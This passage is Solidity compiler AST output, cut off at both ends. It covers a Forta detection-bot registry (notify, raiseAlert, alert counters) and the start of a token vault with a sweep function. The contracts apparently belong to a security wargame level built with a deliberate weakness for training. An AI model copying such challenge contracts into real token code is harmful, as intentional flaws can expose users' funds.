stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51483,"nodeType":"FunctionDefinition","src":"501:63:71","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"510:6:71","parameters":{"id":51481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51478,"mutability":"mutable","name":"user","nameLocation":"525:4:71","nodeType":"VariableDeclaration","scope":51483,"src":"517:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51477,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51480,"mutability":"mutable","name":"msgData","nameLocation":"546:7:71","nodeType":"VariableDeclaration","scope":51483,"src":"531:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51479,"name":"bytes","nodeType":"ElementaryTypeName","src":"531:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"516:38:71"},"returnParameters":{"id":51482,"nodeType":"ParameterList","parameters":[],"src":"563:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51488,"nodeType":"FunctionDefinition","src":"569:43:71","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"578:10:71","parameters":{"id":51486,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51485,"mutability":"mutable","name":"user","nameLocation":"597:4:71","nodeType":"VariableDeclaration","scope":51488,"src":"589:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51484,"name":"address","nodeType":"ElementaryTypeName","src":"589:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"588:14:71"},"returnParameters":{"id":51487,"nodeType":"ParameterList","parameters":[],"src":"611:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51489],"name":"IForta","nameLocation":"420:6:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51577,"nodeType":"ContractDefinition","src":"616:752:71","nodes":[{"id":51496,"nodeType":"VariableDeclaration","src":"647:59:71","nodes":[],"constant":false,"functionSelector":"9e1083ca","mutability":"mutable","name":"usersDetectionBots","nameLocation":"688:18:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"typeName":{"id":51495,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51492,"name":"address","nodeType":"ElementaryTypeName","src":"655:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"647:33:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51494,"nodeType":"UserDefinedTypeName","pathNode":{"id":51493,"name":"IDetectionBot","nameLocations":["666:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51471,"src":"666:13:71"},"referencedDeclaration":51471,"src":"666:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}},"visibility":"public"},{"id":51500,"nodeType":"VariableDeclaration","src":"712:50:71","nodes":[],"constant":false,"functionSelector":"dc702fa0","mutability":"mutable","name":"botRaisedAlerts","nameLocation":"747:15:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":51499,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51497,"name":"address","nodeType":"ElementaryTypeName","src":"720:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"712:27:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51498,"name":"uint256","nodeType":"ElementaryTypeName","src":"731:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":51516,"nodeType":"FunctionDefinition","src":"769:156:71","nodes":[],"body":{"id":51515,"nodeType":"Block","src":"841:84:71","nodes":[],"statements":[{"expression":{"id":51513,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51506,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"851:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51509,"indexExpression":{"expression":{"id":51507,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"870:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51508,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"874:6:71","memberName":"sender","nodeType":"MemberAccess","src":"870:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"851:30:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51511,"name":"detectionBotAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51502,"src":"898:19:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51510,"name":"IDetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51471,"src":"884:13:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IDetectionBot_$51471_$","typeString":"type(contract IDetectionBot)"}},"id":51512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"884:34:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"src":"851:67:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51514,"nodeType":"ExpressionStatement","src":"851:67:71"}]},"baseFunctions":[51476],"functionSelector":"9e927c68","implemented":true,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"778:15:71","overrides":{"id":51504,"nodeType":"OverrideSpecifier","overrides":[],"src":"832:8:71"},"parameters":{"id":51503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51502,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"802:19:71","nodeType":"VariableDeclaration","scope":51516,"src":"794:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51501,"name":"address","nodeType":"ElementaryTypeName","src":"794:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"793:29:71"},"returnParameters":{"id":51505,"nodeType":"ParameterList","parameters":[],"src":"841:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51551,"nodeType":"FunctionDefinition","src":"931:259:71","nodes":[],"body":{"id":51550,"nodeType":"Block","src":"1003:187:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51526,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1025:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51528,"indexExpression":{"id":51527,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1044:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1025:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51525,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1017:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51524,"name":"address","nodeType":"ElementaryTypeName","src":"1017:7:71","typeDescriptions":{}}},"id":51529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51532,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1062:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51531,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1054:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51530,"name":"address","nodeType":"ElementaryTypeName","src":"1054:7:71","typeDescriptions":{}}},"id":51533,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1054:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1017:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51536,"nodeType":"IfStatement","src":"1013:60:71","trueBody":{"functionReturnParameters":51523,"id":51535,"nodeType":"Return","src":"1066:7:71"}},{"clauses":[{"block":{"id":51545,"nodeType":"Block","src":"1144:31:71","statements":[{"functionReturnParameters":51523,"id":51544,"nodeType":"Return","src":"1158:7:71"}]},"errorName":"","id":51546,"nodeType":"TryCatchClause","src":"1144:31:71"},{"block":{"id":51547,"nodeType":"Block","src":"1182:2:71","statements":[]},"errorName":"","id":51548,"nodeType":"TryCatchClause","src":"1176:8:71"}],"externalCall":{"arguments":[{"id":51541,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1129:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51542,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51520,"src":"1135:7:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"baseExpression":{"id":51537,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1086:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51539,"indexExpression":{"id":51538,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1105:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1086:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51540,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:17:71","memberName":"handleTransaction","nodeType":"MemberAccess","referencedDeclaration":51470,"src":"1086:42:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51543,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:57:71","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51549,"nodeType":"TryStatement","src":"1082:102:71"}]},"baseFunctions":[51483],"functionSelector":"fa1fd28c","implemented":true,"kind":"function","modifiers":[],"name":"notify","nameLocation":"940:6:71","overrides":{"id":51522,"nodeType":"OverrideSpecifier","overrides":[],"src":"994:8:71"},"parameters":{"id":51521,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51518,"mutability":"mutable","name":"user","nameLocation":"955:4:71","nodeType":"VariableDeclaration","scope":51551,"src":"947:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51517,"name":"address","nodeType":"ElementaryTypeName","src":"947:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51520,"mutability":"mutable","name":"msgData","nameLocation":"976:7:71","nodeType":"VariableDeclaration","scope":51551,"src":"961:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51519,"name":"bytes","nodeType":"ElementaryTypeName","src":"961:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"946:38:71"},"returnParameters":{"id":51523,"nodeType":"ParameterList","parameters":[],"src":"1003:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51576,"nodeType":"FunctionDefinition","src":"1196:170:71","nodes":[],"body":{"id":51575,"nodeType":"Block","src":"1248:118:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51559,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1270:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51561,"indexExpression":{"id":51560,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51553,"src":"1289:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1270:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51558,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1262:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51557,"name":"address","nodeType":"ElementaryTypeName","src":"1262:7:71","typeDescriptions":{}}},"id":51562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":51563,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1299:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1299:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1262:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51567,"nodeType":"IfStatement","src":"1258:60:71","trueBody":{"functionReturnParameters":51556,"id":51566,"nodeType":"Return","src":"1311:7:71"}},{"expression":{"id":51573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51568,"name":"botRaisedAlerts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51500,"src":"1327:15:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":51571,"indexExpression":{"expression":{"id":51569,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1343:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1347:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1343:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1327:27:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"hexValue":"31","id":51572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1358:1:71","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1327:32:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":51574,"nodeType":"ExpressionStatement","src":"1327:32:71"}]},"baseFunctions":[51488],"functionSelector":"087a43c1","implemented":true,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"1205:10:71","overrides":{"id":51555,"nodeType":"OverrideSpecifier","overrides":[],"src":"1239:8:71"},"parameters":{"id":51554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51553,"mutability":"mutable","name":"user","nameLocation":"1224:4:71","nodeType":"VariableDeclaration","scope":51576,"src":"1216:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51552,"name":"address","nodeType":"ElementaryTypeName","src":"1216:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1215:14:71"},"returnParameters":{"id":51556,"nodeType":"ParameterList","parameters":[],"src":"1248:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":51490,"name":"IForta","nameLocations":["634:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":51489,"src":"634:6:71"},"id":51491,"nodeType":"InheritanceSpecifier","src":"634:6:71"}],"canonicalName":"Forta","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51577,51489],"name":"Forta","nameLocation":"625:5:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51645,"nodeType":"ContractDefinition","src":"1370:582:71","nodes":[{"id":51579,"nodeType":"VariableDeclaration","src":"1397:35:71","nodes":[],"constant":false,"functionSelector":"3234a197","mutability":"mutable","name":"sweptTokensRecipient","nameLocation":"1412:20:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51578,"name":"address","nodeType":"ElementaryTypeName","src":"1397:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51582,"nodeType":"VariableDeclaration","src":"1438:24:71","nodes":[],"constant":false,"functionSelector":"6f307dc3","mutability":"mutable","name":"underlying","nameLocation":"1452:10:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51581,"nodeType":"UserDefinedTypeName","pathNode":{"id":51580,"name":"IERC20","nameLocations":["1438:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1438:6:71"},"referencedDeclaration":47939,"src":"1438:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"public"},{"id":51592,"nodeType":"FunctionDefinition","src":"1469:80:71","nodes":[],"body":{"id":51591,"nodeType":"Block","src":"1500:49:71","nodes":[],"statements":[{"expression":{"id":51589,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51587,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1510:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51588,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51584,"src":"1533:9:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1510:32:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51590,"nodeType":"ExpressionStatement","src":"1510:32:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51584,"mutability":"mutable","name":"recipient","nameLocation":"1489:9:71","nodeType":"VariableDeclaration","scope":51592,"src":"1481:17:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51583,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1480:19:71"},"returnParameters":{"id":51586,"nodeType":"ParameterList","parameters":[],"src":"1500:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51617,"nodeType":"FunctionDefinition","src":"1555:167:71","nodes":[],"body":{"id":51616,"nodeType":"Block","src":"1606:116:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51600,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1632:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}],"id":51599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1624:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51598,"name":"address","nodeType":"ElementaryTypeName","src":"1624:7:71","typeDescriptions":{}}},"id":51601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1624:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51604,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1655:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51603,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1647:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51602,"name":"address","nodeType":"ElementaryTypeName","src":"1647:7:71","typeDescriptions":{}}},"id":51605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1647:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1624:33:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920736574","id":51607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1659:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""},"value":"Already set"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""}],"id":51597,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1616:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1616:57:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51609,"nodeType":"ExpressionStatement","src":"1616:57:71"},{"expression":{"id":51614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51610,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1683:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51612,"name":"latestToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51594,"src":"1703:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51611,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1696:6:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1696:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1683:32:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51615,"nodeType":"ExpressionStatement","src":"1683:32:71"}]},"functionSelector":"bdb2321f","implemented":true,"kind":"function","modifiers":[],"name":"setUnderlying","nameLocation":"1564:13:71","parameters":{"id":51595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51594,"mutability":"mutable","name":"latestToken","nameLocation":"1586:11:71","nodeType":"VariableDeclaration","scope":51617,"src":"1578:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51593,"name":"address","nodeType":"ElementaryTypeName","src":"1578:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1577:21:71"},"returnParameters":{"id":51596,"nodeType":"ParameterList","parameters":[],"src":"1606:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51644,"nodeType":"FunctionDefinition","src":"1751:199:71","nodes":[],"body":{"id":51643,"nodeType":"Block","src":"1792:158:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"id":51626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51624,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1810:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51625,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1819:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract 